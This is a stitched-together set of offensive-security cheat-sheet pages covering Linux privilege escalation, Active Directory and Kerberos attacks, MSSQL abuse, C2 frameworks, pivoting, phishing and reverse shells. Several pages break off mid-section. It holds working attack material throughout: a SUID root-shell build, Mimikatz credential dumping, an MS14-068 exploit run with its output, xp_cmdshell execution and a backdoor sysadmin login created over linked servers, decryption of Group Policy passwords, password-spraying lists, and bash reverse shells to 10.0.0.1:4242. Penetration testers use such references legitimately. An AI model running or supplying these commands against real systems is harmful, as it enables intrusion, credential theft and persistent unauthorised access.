echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant

Crontab#

Crontab (short for cron table) is a configuration file for scheduling tasks (cron jobs) in Unix-like systems. It allows users to automate repetitive commands at specific times or intervals.

Linux - Privilege Escalation

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Tools
Checklist
Looting for passwords
SSH Key
- Sensitive files
- SSH Key Predictable PRNG (Authorized_Keys) Process
Scheduled tasks
- Cron jobs
- Systemd timers
SUID
- Find SUID binaries
- Create a SUID binary
Capabilities
SUDO
GTFOBins
Wildcard
Writable files
- Writable /etc/passwd
- Writable /etc/sudoers
NFS Root Squashing
Shared Library
- ldconfig
- RPATH
Groups
- Docker
- LXC/LXD
Hijack TMUX session
Kernel Exploits

Tools#

There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escalation vectors. Here are a few:

Metasploit

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Installation
Sessions
Background handler
Meterpreter - Basic
Scripting Metasploit
Multiple transports
Best of - Exploits
References

Installation#

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Sessions#

CTRL+Z -> Session in Background
sessions -> List sessions
sessions -i session_number -> Interact with Session with id
sessions -u session_number -> Upgrade session to a meterpreter
sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter

sessions -c cmd -> Execute a command on several sessions
sessions -i 10-20 -c "id" -> Execute a command on several sessions

Background handler#

ExitOnSession : the handler will not exit if the meterpreter dies.

Mimikatz

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Execute commands
Extract passwords
LSA Protection Workaround
Mini Dump
Pass The Hash
Golden ticket
Skeleton key
RDP Session Takeover
RDP Passwords
Credential Manager & DPAPI
Commands list
Powershell version
References

Data in memory

Execute commands#

Only one command

PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

Mimikatz console (multiple commands)

PS C:\temp\mimikatz> .\mimikatz
mimikatz # privilege::debug
mimikatz # log
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest

Extract passwords#

Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled.

Miscellaneous & Tricks

Sat, 25 Jul 2026 18:47:21 +0200

All the tricks that couldn’t be classified somewhere else.

Send Messages to Other Users#

Windows

PS C:\> msg Swissky /SERVER:CRASHLAB "Stop rebooting the XXXX service !"
PS C:\> msg * /V /W /SERVER:CRASHLAB "Hello all !"

Linux

wall "Stop messing with the XXX service !"
wall -n "System will go down for 2 hours maintenance at 13:00 PM" # "-n" only for root
who
write root pts/2 # press Ctrl+D after typing the message.

NetExec Credential Database#

nxcdb (default) > workspace create test
nxcdb (test) > workspace default
nxcdb (test) > proto smb
nxcdb (test)(smb) > creds
nxcdb (test)(smb) > export creds csv /tmp/creds

NetExec workspaces

MS14-068 Checksum Validation

Sat, 25 Jul 2026 18:47:21 +0200

This exploit require to know the user SID, you can use rpcclient to remotely get it or wmi if you have an access on the machine.

RPCClient

rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)

WMI

wmic useraccount get name,sid
Administrator S-1-5-21-3415849876-833628785-5197346142-500 
Guest S-1-5-21-3415849876-833628785-5197346142-501 
Administrator S-1-5-21-297520375-2634728305-5197346142-500 
Guest S-1-5-21-297520375-2634728305-5197346142-501 
krbtgt S-1-5-21-297520375-2634728305-5197346142-502 
lambda S-1-5-21-297520375-2634728305-5197346142-1110

Powerview

Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502

netexec: netexec ldap DC1.lab.local -u username -p password -k --get-sid

Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068

Generate a ticket with metasploit or pykek

Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
 PASSWORD P@ssw0rd yes The Domain User password
 RHOSTS 10.10.10.10 yes The target address range or CIDR identifier
 RPORT 88 yes The target port
 Timeout 10 yes The TCP timeout to establish connection and read data
 USER lambda yes The Domain User
 USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000

# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
$ git clone https://github.com/SecWiki/windows-kernel-exploits
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
-1105
 [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
 [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
 [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
 [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
 [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
 [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
 [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
 [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
 [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!

Then use mimikatz to load the ticket.

MSSQL - Audit Checks

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Impersonation Opportunities
- Exploiting Impersonation
- Exploiting Nested Impersonation
Trustworthy Databases

Impersonation Opportunities#

Impersonate as: EXECUTE AS LOGIN = 'sa'
Impersonate dbo with DB_OWNER

SQL> select is_member('db_owner');
SQL> execute as user = 'dbo'
SQL> SELECT is_srvrolemember('sysadmin')

Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose

# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug

Exploiting Impersonation#

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'adminuser'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()

Exploiting Nested Impersonation#

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'stduser'
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER

Trustworthy Databases#

Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose 

SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases

The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.

MSSQL - Command Execution

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Command Execution via xp_cmdshell
Extended Stored Procedure
- Add the extended stored procedure and list extended stored procedures
CLR Assemblies
- Execute commands using CLR assembly
- Manually creating a CLR DLL and importing it
OLE Automation
- Execute commands using OLE automation procedures
Agent Jobs
- Execute commands through SQL Agent Job service
- List All Jobs
External Scripts
- Python
- R

Command Execution via xp_cmdshell#

xp_cmdshell disabled by default since SQL Server 2005

MSSQL - Credentials

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

MSSQL Accounts and Hashes
List Credentials on the SQL Server
Proxy Account Context

MSSQL Accounts and Hashes#

MSSQL 2000

SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins 
-- (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

MSSQL 2005

SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

Then crack passwords using Hashcat : hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force

MSSQL - Database Enumeration

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Tools
Identify Instances and Databases
Identify Users and Roles
Identify Sensitive Information

Tools#

NetSPI/PowerUpSQL - A PowerShell Toolkit for Attacking SQL Server
skahwah/SQLRecon - A C# MS SQL toolkit designed for offensive reconnaissance and post-exploitation.

Identify Instances and Databases#

Discover Local SQL Server Instances#

Get-SQLInstanceLocal

Discover Domain SQL Server Instances#

Get-SQLInstanceDomain -Verbose
# Get Server Info for Found Instances
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Get Database Names
Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults

Discover Remote SQL Server Instances#

Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1

Identify Encrypted databases#

Note: These are automatically decrypted for admins

MSSQL - Linked Database

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Find Trusted Link
Execute Query Through The Link
Crawl Links for Instances in the Domain
Crawl Links for a Specific Instance
Query Version of Linked Database
Execute Procedure on Linked Database
Determine Names of Linked Databases
Determine All the Tables Names from a Selected Linked Database
Gather the Top 5 Columns from a Selected Linked Table
Gather Entries from a Selected Linked Column

Find Trusted Link#

select * from master..sysservers

Execute Query Through The Link#

-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

-- enable rpc out for xp_cmdshell
EXEC sp_serveroption 'sqllinked-hostname', 'rpc', 'true';
EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true';
select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc'',''true'';');
select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc out'',''true'';');

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

Crawl Links for Instances in the Domain#

A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results

Mythic C2

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Installation
Agents
Profiles
References

Installation#

sudo apt-get install build-essential
git clone https://github.com/its-a-feature/Mythic --depth 1
./install_docker_ubuntu.sh
./install_docker_debian.sh
cd Mythic
sudo make
sudo ./mythic-cli start

Agents#

Mythic Community Agent Feature Matrix

Agents can be found at: https://github.com/MythicAgents

./mythic-cli install github https://github.com/MythicAgents/Medusa # A Mythic Agent compatible Python 2.7 and 3.8
./mythic-cli install github https://github.com/MythicAgents/Hannibal # A Mythic Agent written in PIC C
./mythic-cli install github https://github.com/MythicAgents/thanatos # A Mythic C2 agent targeting Linux and Windows hosts written in Rust
./mythic-cli install github https://github.com/MythicAgents/poseidon # A Mythic Agent written in Golang for Linux/MacOS
./mythic-cli install github https://github.com/MythicAgents/Apollo # # A Mythic Agent written in C# using the 4.0 .NET Framework 
./mythic-cli install github https://github.com/MythicAgents/Athena # A Mythic Agent written in .NET
./mythic-cli install github https://github.com/MythicAgents/Xenon # A Mythic Agent written in C, compatible with httpx profiles

Profiles#

C2 Profiles can be found at: https://github.com/MythicC2Profiles

Network Discovery

Sat, 25 Jul 2026 18:47:21 +0200

MAC Address#

mac2vendor.com - OUI Database Lookup
oui.is - MAC Address Vendor Lookup

MAC Prefix	Description
FC:D4:F2	Coca Cola Company
00:9E:C8	Xiaomi Communications
08:9E:08	Google

sudo ifconfig <interface-name> down
sudo ifconfig <interface-name> hw ether <new-mac-address> 
sudo ifconfig <interface-name> up

DHCP#

DHCP (Dynamic Host Configuration Protocol) is a networking protocol used to automatically assign IP addresses and other network configuration parameters to devices on a network. DHCP allows devices to obtain necessary network configuration information from a DHCP server, rather than having to be manually configured.

Network Pivoting Techniques

Sat, 25 Jul 2026 18:47:21 +0200

SOCKS Proxy#

SOCKS Compatibility Table#

SOCKS Version	TCP	UDP	IPv4	IPv6	Hostname
SOCKS v4	✅	❌	✅	❌	❌
SOCKS v4a	✅	❌	✅	❌	✅
SOCKS v5	✅	✅	✅	✅	✅

SOCKS Proxy Usage#

Proxychains#

rofl0r/proxychains-ng - a preloader which hooks calls to sockets in dynamically linked programs and redirects it through one or more socks/http proxies. continuation of the unmaintained proxychains project.
haad/proxychains - a tool that forces any TCP connection made by any given application to follow through proxy like TOR or any other SOCKS4, SOCKS5 or HTTP(S) proxy. Supported auth-types: “user/pass” for SOCKS4/5, “basic” for HTTP.

Edit the configuration file /etc/proxychains.conf to add the SOCKS proxies.

Network Pivoting Tools

Sat, 25 Jul 2026 18:47:21 +0200

Tools Comparison#

Comparison table showing platform support (Windows, Linux, macOS), available polling methods (HTTPS, WebSockets), and supported SOCKS versions (4/5).

Name	SOCKS4	SOCKS5	SOCKET	HTTPS	Web Socket	Windows	Linux	MacOS	Tun Interface
SSH	✅	✅	✅	❌	❌	✅	✅	✅	❌
reGeorg	✅	❌	✅	❌	❌	✅	✅	✅	❌
pivotnacci	✅	✅	❌	✅	❌	✅	✅	✅	❌
wstunnel	✅	✅	❌	✅	✅	✅	✅	✅	❌
chisel	❌	✅	❌	✅	✅	✅	✅	✅	❌
revsocks	❌	✅	✅	✅	✅	✅	✅	✅	❌
ligolo-ng	❌	❌	✅	❌	✅	✅	✅	✅	✅
gost	✅	✅	✅	❌	❌	✅	✅	✅	✅
rpivot	✅	❌	✅	❌	❌	✅	✅	✅	❌

Tools#

wstunnel#

erebe/wstunnel - Tunnel all your traffic over Websocket or HTTP2 - Bypass firewalls/DPI - Static binary available

wstunnel server wss://[::]:8080
wstunnel client -L socks5://127.0.0.1:8888 --connection-min-idle 5 wss://myRemoteHost:8080
curl -x socks5h://127.0.0.1:8888 http://google.com/

chisel#

jpillora/chisel - A fast TCP/UDP tunnel over HTTP

chisel server -p 8008 --reverse
chisel.exe client YOUR_IP:8008 R:socks

revsocks#

kost/revsocks - Reverse SOCKS5 implementation in Go

Reverse SOCKS using websocket

NoPAC / samAccountName Spoofing

Sat, 25 Jul 2026 18:47:21 +0200

During S4U2Self, the KDC will try to append a ‘$’ to the computer name specified in the TGT, if the computer name is not found.

An attacker can create a new machine account with the sAMAccountName set to a domain controller’s sAMAccountName - without the ‘$’.

For instance, suppose there is a domain controller with a sAMAccountName set to ‘DC$’. An attacker would then create a machine account with the sAMAccountName set to ‘DC’.

Office - Attacks

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Office Products Features
Office Default Passwords
Excel
Word
Visual Studio Tools for Office (VSTO)
Office Macro Development
- Execute WinAPI
References

Office Products Features#

Overview of features supported by different Office products

Office Default Passwords#

By default, Excel does not set a password when saving a new file. However, some older versions of Excel had a default password that was used if the user did not set a password themselves. The default password was “VelvetSweatshop”, and it could be used to open any file that did not have a password set.

OPSEC

Sat, 25 Jul 2026 18:47:21 +0200

Infrastructure#

Use generic name for DNS, avoid company names
Use wildcard (*) when issuing certificates to avoid leaking internal name

Do not use the default certificates embedded in your C2: elastic/Default Cobalt Strike Team Server Certificate, zeek/zeek_default_cobalt_strike_certificate

(event.dataset: network_traffic.tls or event.category: (network or network_traffic))
and (tls.server.hash.md5:950098276A495286EB2A2556FBAB6D83
or tls.server.hash.sha1:6ECE5ECE4192683D2D84E25B0BA7E04F9CB7EB7C
or tls.server.hash.sha256:87F2085C32B6A2CC709B365F55873E207A9CAA10BFFECF2FD16D3CF9D94D390C)

Disable staging endpoints or restrict the access
Do not upload your stealthy binaries to VirusTotal or other online scanners
Guardrails your payload to trigger for a specific user/domain/computer name

Package Managers and Build Files

Sat, 25 Jul 2026 18:47:21 +0200

Code injections into build files are CI agnostic and therefore they make great targets when you don’t know what system builds the repository, or if there are multiple CI’s in the process. In the examples below you need to either replace the files with the sample payloads, or inject your own payloads into existing files by editing just a part of them. If the CI builds forked pull requests then your payload may run in the CI.

Password - AD User Comment

Sat, 25 Jul 2026 18:47:21 +0200

There are 3-4 fields that seem to be common in most Active Directory schemas: UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

Windows/Linux command

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(|(userPassword=*)(unixUserPassword=*)(unicodePassword=*)(description=*))' --attr userPassword,unixUserPassword,unicodePwd,description

Password in User Description

netexec ldap domain.lab -u 'username' -p 'password' -M user-desc
netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
GET-DESC... 10.0.2.11 389 dc01 [+] Found following users: 
GET-DESC... 10.0.2.11 389 dc01 User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.0.2.11 389 dc01 User: krbtgt description: Key Distribution Center Service Account

Get unixUserPassword attribute from all users in ldap

nxc ldap 10.10.10.10 -u user -p pass -M get-unixUserPassword -M getUserPassword

Native Powershell command

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID

Dump the Active Directory and grep the content.

ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/

Password - dMSA

Sat, 25 Jul 2026 18:47:21 +0200

Delegated Managed Service Accounts (dMSAs)

BadSuccessor#

Requirements:

Windows Server 2025 Domain Controller
Permission on any organizational unit (OU) in the domain

Tools:

akamai/BadSuccessor/Get-BadSuccessorOUPermissions.ps1
LuemmelSec/Pentest-Tools-Collection/BadSuccessor.ps1
GhostPack/Rubeus PR #194
CravateRouge/bloodyAD Commit #210f735
skelsec/minikerberos/getDmsa.py

logangoins/SharpSuccessor

SharpSuccessor.exe add /impersonate:Administrator /path:"ou=test,dc=lab,dc=lan" /account:jdoe /name:attacker_dMSA

Pennyw0rth/NetExec PR #702

poetry run netexec ldap 10.10.10.10 -u administrator -p Passw0rd -M badsuccessor

badsuccessor-attack-flow

Manual Exploitation:

Verify if the DC is a Server 2025

ldapsearch "(&(objectClass=computer)(primaryGroupID=516))" dn,name,operatingsystem

# BloodHound Query
MATCH (c:Computer)
WHERE c.isdc = true AND c.operatingsystem CONTAINS "2025"
RETURN c.name

Create unfunctional dMSA

New-ADServiceAccount -Name "attacker_dmsa" -DNSHostName "dontcare.com" -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword "attacker-machine$" -path "OU=temp,DC=aka,DC=test"

Edit msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState values

Password - DSRM Credentials

Sat, 25 Jul 2026 18:47:21 +0200

Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use Mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

Password - GMSA

Sat, 25 Jul 2026 18:47:21 +0200

Reading GMSA Password#

User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.

GMSA Attributes in the Active Directory#

msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) - stores the security principals that can access the GMSA password.
msds-ManagedPassword - This attribute contains a BLOB with password information for group-managed service accounts.
msDS-ManagedPasswordId - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
msDS-ManagedPasswordInterval - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.

Extract NT hash from the Active Directory#

Pennyw0rth/NetExec

Password - Group Policy Preferences

Sat, 25 Jul 2026 18:47:21 +0200

Find passwords in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption

echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

Automate the SYSVOL and passwords research#

Metasploit modules to enumerate shares and credentials

Password - LAPS

Sat, 25 Jul 2026 18:47:21 +0200

Reading LAPS Password#

Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.

Determine if LAPS is installed#

Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'

Extract LAPS password#

The “ms-mcs-AdmPwd” a “confidential” computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

Password - Pre-Created Computer Account

Sat, 25 Jul 2026 18:47:21 +0200

When Assign this computer account as a pre-Windows 2000 computer checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account SERVERDEMO$ would have the password serverdemo.

# Create a machine with default password
# must be run from a domain joined device connected to the domain
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc

When you attempt to login using the credential you should have the following error code : STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.

Password - Shadow Credentials

Sat, 25 Jul 2026 18:47:21 +0200

Add Key Credentials to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.

:warning: User objects can’t edit their own msDS-KeyCredentialLink attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

Password - Spraying

Sat, 25 Jul 2026 18:47:21 +0200

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

Passwords: P@ssw0rd01, Password123, Password1,
Common password: Welcome1/Welcome01, Hello123, mimikatz
$Companyname1:$Microsoft1
SeasonYear: Winter2019*, Spring2020!, Summer2018?, Summer2020, July2020!
Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
Empty Password: NT hash is 31d6cfe0d16ae931b73c59d7e0c089c0

:warning: be careful with the account lockout !

Phishing

Sat, 25 Jul 2026 18:47:21 +0200

Phishing is a cybersecurity attack where malicious actors impersonate legitimate organizations (like banks, social media platforms, or email providers) to trick people into revealing sensitive information such as passwords, credit card numbers, or personal data.

Opsec Fails#

Reusing IPs/Domains: Using the same IP address or domain across multiple campaigns or malware families.
No Domain Privacy: WHOIS records exposing registrant info (name, email, phone).
Same Registrant Email: Reusing the same email address across domains.
Unrotated SSL Certificates: Self-signed or identical certificates reused across phishing sites.

GoPhish#

gophish/gophish - Open-Source Phishing Toolkit
kgretzky/gophish/ - Gophish integration with Evilginx 3.3
puzzlepeaches/sneaky_gophish - Hiding GoPhish from the boys in blue

git clone https://github.com/gophish/gophish.git
go build

IOC#

X-Gophish-Contact and X-Gophish-Signature

Powershell

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Powershell

Execution Policy#

powershell -EncodedCommand $encodedCommand
powershell -ep bypass ./PowerView.ps1

# Change execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Set-ExecutionPolicy Bypass -Scope Process

Constrained Mode#

# Check if we are in a constrained mode
# Values could be: FullLanguage or ConstrainedLanguage
$ExecutionContext.SessionState.LanguageMode

## Bypass
powershell -version 2

Encoded Commands#

Windows

PrintNightmare

Sat, 25 Jul 2026 18:47:21 +0200

CVE-2021-1675 / CVE-2021-34527

The DLL will be stored in C:\Windows\System32\spool\drivers\x64\3\. The exploit will execute the DLL either from the local filesystem or a remote share.

Requirements:

Spooler Service enabled (Mandatory)
Server with patches < June 2021
DC with Pre Windows 2000 Compatibility group
Server with registry key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall = (DWORD) 1
Server with registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = (DWORD) 0

Detect the vulnerability:

Impacket - impacket/rpcdump

python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol

byt3bl33d3r/ItWasAllADream

cd ItWasAllADream && poetry install && poetry shell
itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10

Payload Hosting:

PrivExchange

Sat, 25 Jul 2026 18:47:21 +0200

Exchange your privileges for Domain Admin privs by abusing Exchange. :warning: You need a shell on a user account with a mailbox.

Exchange server hostname or IP address

pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username

Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
```
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
```
Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server’s to send back its NTLMv2 hash to a controlled machine.

Proxy Bypass

Sat, 25 Jul 2026 18:47:21 +0200

An HTTP proxy server acts as an intermediary between a client (like a web browser) and a web server. It processes client requests for web resources, fetches them from the destination server, and returns them to the client.

Summary#

Methodology
References

Methodology#

Discover Proxy Configuration#

Windows, in the registry key DefaultConnectionSettings

RDP - Persistence

Sat, 25 Jul 2026 18:47:21 +0200

RDP Backdoor#

An RDP backdoor is a malicious technique where an attacker replaces the legitimate binary files of utility manager (utilman.exe) or sticky keys (sethc.exe) with a command prompt (cmd.exe) executable. This allows the attacker to gain unauthorized access to the system by launching a command prompt when the ease of access or sticky keys button is pressed on the login screen, bypassing the need for authentic credentials.

Reverse Shell Cheat Sheet

Sat, 25 Jul 2026 18:47:21 +0200

Summary#

Tools
Reverse Shell
- Awk
- Bash TCP
- Bash UDP
- C
- Dart
- Golang
- Groovy Alternative 1
- Groovy
- Java Alternative 1
- Java Alternative 2
- Java
- Lua
- Ncat
- Netcat OpenBsd
- Netcat BusyBox
- Netcat Traditional
- NodeJS
- OGNL
- OpenSSL
- Perl
- PHP
- Powershell
- Python
- Ruby
- Rust
- Socat
- Telnet
- War
Meterpreter Shell
Spawn TTY Shell
References

Tools#

reverse-shell-generator - Hosted Reverse Shell generator (source)
revshellgen - CLI Reverse Shell generator

Reverse Shell#

Bash TCP#

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1

Bash UDP#

Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1

Listener:
nc -u -lvp 4242

Don’t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

Roasting - ASREP Roasting

Sat, 25 Jul 2026 18:47:21 +0200

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

Requirements:

Accounts with the attribute DONT_REQ_PREAUTH

Windows/Linux:

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

Windows only:

